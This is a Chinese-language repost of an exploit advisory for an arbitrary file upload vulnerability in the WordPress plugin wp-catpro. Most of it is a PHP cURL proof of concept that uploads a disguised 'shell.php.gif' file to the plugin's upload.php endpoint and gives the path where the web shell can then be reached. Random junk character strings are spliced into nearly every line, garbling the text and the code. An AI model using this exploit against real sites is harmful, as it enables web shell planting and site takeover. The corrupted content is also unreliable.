WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
$ B. k; m6 E; b, _* Z2 ^% X' x3 l#-----------------------------------------------------------------------

1 Y" v+ g2 c* d9 `/ F8 B8 d- M作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
: `0 i' ~& O+ D2 L7 E8 K/ L" w下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
------------------
+ u) c1 t5 ?- X* s! y# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

#=> Exploit
-----------
, w1 q4 B" f4 X, w7 }9 N<?php

$uploadfile="zik.php.gif";
* T: n3 O* C$ r. j$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
1 i/ r3 u5 i) L+ w9 T% d9 B5 Pcurl_setopt($ch, CURLOPT_POST, true);
. m, b9 \0 F( ~- w* L* |curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
: ?/ Y7 p) D: @+ ]/ t( ^5 ['folder'=>'/wp-content/uploads/catpro/'));
  U$ I3 G2 e4 S8 h' hcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  d8 E& M4 S8 D: L. J8 n$postResult = curl_exec($ch);
0 \- K4 M6 W; ^  _- Z+ ~3 k5 o" rcurl_close($ch);

2 j# ]9 @# g1 qprint "$postResult";
$ A+ z9 ~' @( F' ^7 Z
5 o& c( ~) i+ @" DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 ?9 V8 }  L  E" w6 s- V  ?>
<?php
phpinfo();
( U' t/ t1 B( a: _7 B. d?>